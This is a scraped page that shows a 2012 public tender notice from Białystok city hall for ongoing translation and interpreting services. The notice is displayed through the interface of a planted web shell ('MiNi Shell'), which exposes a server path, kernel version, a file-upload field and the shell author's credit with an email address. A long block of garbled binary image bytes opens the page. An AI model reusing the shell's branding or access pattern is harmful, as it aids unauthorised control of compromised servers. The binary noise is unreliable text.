JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/home/vmanager/www/common/web/tenders/20120130/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/thread-self/root/home/vmanager/www/common/web/tenders/20120130/25257-N-2012.html

<p class="kh_header"><b>Białystok: Bieżąca obsługa Urzędu Miejskiego w Białymstoku w zakresie tłumaczeń ustnych oraz pisemnych</b><br>
<b>Numer ogłoszenia: 25257 - 2012; data zamieszczenia: 30.01.2012</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Miasto Białystok , ul. Słonimska 1, 15-950 Białystok, woj. podlaskie, tel. 085 869 60 02, faks 085 869 62 65.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.bialystok.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Bieżąca obsługa Urzędu Miejskiego w Białymstoku w zakresie tłumaczeń ustnych oraz pisemnych.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1. Przedmiotem umowy jest bieżąca obsługa Urzędu Miejskiego w Białymstoku w zakresie tłumaczeń ustnych oraz pisemnych, z języków obcych na język polski oraz z języka polskiego na języki obce w ilości każdorazowo zlecanej przez Zamawiającego.
2. Językami obcymi, o których mowa w ust.1, są następujące języki:
a) angielski,
b) francuski,
c) rosyjski,
d) niemiecki,
e) włoski.  
3. Przewidywany charakter tłumaczeń:
codzienna korespondencja wpływająca do Urzędu i wysyłana z Urzędu, m.in. zaproszenia, podziękowania, odpowiedzi, pisma przewodnie, programy konferencji, teksty wystąpień, prezentacji itp.; dokumenty związane z działalnością urzędu, treści dotyczące inicjatyw, projektów realizowanych lub współorganizowanych przez Urząd.
4. Przedmiot umowy obejmuje:  
a) tłumaczenia pisemne, 
b) tłumaczenia pisemne wraz z weryfikacją i korektą native-speaker`a, 
c) tłumaczenie pisemne krótkiej korespondencji mailowej,
d) tłumaczenia ustne.
5. Przewidywaną ilość tłumaczeń szacuje się na:
Łącznie 800 stron tłumaczeń z języków wymienionych powyżej ( ust.2 lit. od a - do e) na język polski, 400 stron tłumaczeń z języka polskiego na języki ( ust.2 lit. od a - do e), 200 stron weryfikacji tłumaczeń, 40 godzin tłumaczeń ustnych. 
Zamawiający szacuje, że w ogólnej wartości zamówienia 80% przypadać będzie na tłumaczenia w językach: angielski, francuski, rosyjski a 20% na tłumaczenia w języku niemieckim i włoskim.
6. Wykonawca ma obowiązek zachować szatę graficzną tłumaczonych lub weryfikowanych dokumentów zgodnie z oryginałem, uwzględniać w tekstach tłumaczeń lub weryfikacji wszystkie elementy, takie jak rysunki, wykresy i podpisy, poprzez ich zeskanowanie i załączenie do tekstu w odpowiednim miejscu w formie obiektów graficznych, przy czym wszystkie fragmenty tekstowe tych obiektów mają zostać przetłumaczone lub zweryfikowane.
7. Przy obliczaniu wynagrodzenia za tłumaczenia pisemne, za stronę uważa się 40 wierszy, a za wiersz 45 znaków. Za znak uważa się wszystkie widoczne znaki drukarskie, w szczególności litery, znaki przestankowe, cyfry, znaki przeniesienia oraz uzasadnione budową zdania przerwy między nimi. W razie tłumaczenia sporządzanego w innym układzie maszynopisu lub wydruku komputerowego niż 40 wierszy po 45 znaków na stronę, za stronę tłumaczeniową przyjmuje się 1800 znaków.
8. Przyjmuje się, że standardowa realizacja zamówienia, dla ilości ok. 5 stron tłumaczenia, wynosi 24h od momentu przyjęcia go do realizacji. W przypadku zleceń większych Zamawiający przedłuży ten termin proporcjonalnie do wielkości zlecenia.

9. Przy obliczaniu wynagrodzenia za tłumaczenia ustne, za godzinę tłumaczenia ustnego, przyjmuje się godzinę zegarową od godziny, na którą winien stawić się tłumacz, oraz za każdą rozpoczętą godzinę tłumaczenia. Tłumacz ma obowiązek stawić się we wskazanym przez Zamawiającego, w zleceniu, czasie i miejscu na 20 minut przed zaplanowanym rozpoczęciem spotkania, w celu uzgodnienia szczegółów związanych z realizacją zlecenia. Wykonawca zapewni usługę tłumaczenia ustnego, na które zapotrzebowanie zostanie zgłoszone przynajmniej w dniu poprzedzającym.
10. Wynagrodzenie za tłumaczenie ustne obejmuje wszelkie koszty po stronie Wykonawcy, w tym m.in. koszt stawienia się tłumacza w miejscu i terminie wskazanym przez Zamawiającego. Za realizację  tych tłumaczeń w niedziele i dni ustawowo wolne od pracy, oraz w godzinach nocnych tj. godz. 22.00-06.00 wynagrodzenie za godzinę tłumaczeniową będzie  powiększone o 30%.
11. Usługa tłumaczenia z weryfikacją i korektą native-speaker`a, będzie polegała na przetłumaczeniu a następnie na sprawdzeniu danego tekstu pod względem językowym, gramatycznym i stylistycznym, z uwzględnieniem kontekstu kulturowego i historycznego a także zwyczajów i mentalności danego obszaru językowego przez osobę, której językiem ojczystym jest dany język.
12.  Przez tłumaczenie pisemne krótkiej korespondencji mailowej rozumie się bieżące tłumaczenie krótkich tekstów (do 900 znaków) na i/lub z języka polskiego. Przyjmuje się, że standardowy czas realizacji tłumaczenia korespondencji wynosi do 3 godzin od momentu przyjęcia zlecenia do realizacji. Zamawiający przyjmuje, iż wynagrodzeniem za opisane powyżej czynności tłumaczenia będzie równowartość  wynagrodzenia za jedną stronę tłumaczenia pisemnego dla danego języka. 
13. Zamówienie objęte zakresem zamówienia będzie realizowane w postaci świadczeń jednostkowych na podstawie dyspozycji Zamawiającego złożonych drogą elektroniczną lub telefonicznie, w terminie uzgodnionym z Zamawiającym. 
14. Zlecenia będą realizowane przez wykwalifikowanych tłumaczy, terminowo, ze starannością wynikającą z zawodowego charakteru tych czynności, na warunkach określonych w umowie. Tłumacze będą zobligowani do stosowania terminologii występującej w dziedzinie, której dotyczy tłumaczenie oraz do zachowania spójności terminologicznej, a także do uwzględnienia wszelkich zmian w terminologii, zgodnie z wytycznymi Zamawiającego. Wykonawca odpowiedzialny będzie za poprawność gramatyczną, ortograficzną i leksykalną oraz zastosowanie stylu funkcjonalnego. Wykonawca nie może dokonywać tłumaczenia z użyciem translatorów językowych. 
15. Wykonawca oświadcza, że umowa (poza usługą weryfikacji i korekty native-speaker`a) realizowana będzie przez osoby, które: ukończyły magisterskie studia wyższe na kierunku filologia, lub: ukończyły magisterskie studia wyższe na innym kierunku i studia podyplomowe w zakresie tłumaczenia, odpowiednie dla danego języka. 
16. Wykonawca oświadcza, że osoby wskazane w umowie do realizacji zlecanych tłumaczeń posiadają minimum 4-letnie doświadczenie w tłumaczeniach pisemnych zdobyte po uzyskaniu wykształcenia, o którym mowa powyżej. 
17. Jeśli z jakiegoś powodu osoby wskazane w ofercie nie będą mogły wykonać zlecenia, Wykonawca zapewnia, że realizacja umowy zostanie powierzona osobie o wykształceniu, doświadczeniu i praktyce nie niższej niż wymagana w SIWZ, co każdorazowo będzie potwierdzane przed rozpoczęciem danego tłumaczenia odpowiednim oświadczeniem (wg załącznika nr 3 do SIWZ) oraz kopią dyplomu do wglądu. 
18. Usługa weryfikacji i korekty native-speaker`a, będzie wykonywana przez osoby będące native-speaker`ami danego języka. 
19. Przy przesyłaniu wykonanego tłumaczenia Wykonawca będzie zamieszczał informacje, który ze wskazanych tłumaczy wykonywał dane zlecenie. Zamawiający zastrzega sobie możliwość zażądania zmiany danego tłumacza jeśli wystąpią zastrzeżenia co do jakości wykonywanych przez niego tłumaczeń. W takim wypadku Wykonawca wskaże nową osobę, która winna spełniać warunki postawione przez Zamawiającego w SIWZ. 
20. W przypadku powierzenia przez Wykonawcę innym podmiotom wykonania tłumaczeń lub weryfikacji w całości lub w części, Wykonawca odpowiada za działania i zaniechania tych podmiotów, jak za własne działania lub zaniechania.
21. Wykonawca zobowiązuje się do zachowania poufności, co do uzyskanych informacji i dokumentacji dotyczących realizacji przedmiotu zamówienia..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> tak.</p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li><li>Zamawiający przewiduje udzielenie zamówień uzupełniających stanowiących nie więcej nie więcej niż  50% wartości zamówienia podstawowego i polegających na powtórzeniu tego samego rodzaju zamówień.</li></ul>
<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 31.12.2012.</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> nie dotyczy</p>
<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Opis sposobu dokonywania oceny spełnienia tego warunku:
Wykonawca do realizacji zamówienia (poza usługą weryfikacji i korekty native-speaker`a)  winien wykazać dysponowanie przynajmniej jedną osobą w zakresie każdego z języków określonych w rozdziale I SIWZ, która ukończyła:
- magisterskie studia wyższe na kierunku filologia
   lub,
- magisterskie studia wyższe na innym kierunku i studia podyplomowe w zakresie tłumaczenia,
   odpowiednio dla danego języka,
a jednocześnie osoby wskazane powinny posiadać minimum 4-letnie doświadczenie w tłumaczeniach pisemnych zdobyte po uzyskaniu wymaganego wykształcenia, 

Wykaz wymaganych osób, o których mowa powyżej należy sporządzić wg. Załącznika nr 3 do SIWZ - dopuszcza się wskazanie jednej osoby do wykonywania różnych rodzajów tłumaczeń w ramach jednego bądź kilku języków

Do wykonywania usługi weryfikacji i korekty native-speaker`a, Wykonawca powinien dysponować przynajmniej jedną osobą w zakresie każdego z języków określonych w rozdziale I SIWZ, będącą native-speaker`em danego języka.</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>nie dotyczy</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych dla wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1. W przypadku wykonawców wspólnie ubiegających się o udzielenie zamówienia:
a) każdy wykonawca zobowiązany jest złożyć oddzielnie dokument określony w sekcji III.4.2) tiret 2,
b) warunki dotyczące posiadania wiedzy i doświadczenia będą badane łącznie - dokumenty określone w sekcji III.4.1) tiret 1 powinien złożyć co najmniej jeden z wykonawców  wspólnie ubiegających  się o udzielenie zamówienia,
c) oświadczenie o spełnieniu warunków udziału w postępowaniu określone w sekcji III.4.1) oraz oświadczenie o nie podleganiu wykluczeniu określone w sekcji III.4.2) tiret 1 składa pełnomocnik wykonawców wspólnie ubiegających się o udzielenie zamówienia w ich imieniu bądź każdy z wykonawców oddzielnie. 

2. Zgodnie z art. 26 ust 2b) i 2c) ustawy Pzp, wykonawca może polegać na wiedzy i doświadczeniu, potencjale technicznym, osobach zdolnych do wykonania zamówienia lub zdolnościach finansowych innych podmiotów, niezależnie od charakteru prawnego łączących go z nimi stosunków. Wykonawca w takiej sytuacji zobowiązany jest udowodnić zamawiającemu, iż będzie dysponował zasobami niezbędnymi do realizacji zamówienia, w szczególności przedstawiając w tym celu pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonaniu zamówienia.</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>najniższa cena.</p>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>nie</p>

<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.bip.bialystok.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Urząd Miejski  Białystok, Departament Prezydenta Miasta, ul. Słonimska 1, p. 401, piętro IV Agnieszka Marciszewsk.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 14.02.2012 godzina 13:00, miejsce: Urzad Miejski w Białymstoku ul.Słonimska 1,  II sekretariat,  pietro V.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> nie dotyczy.</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com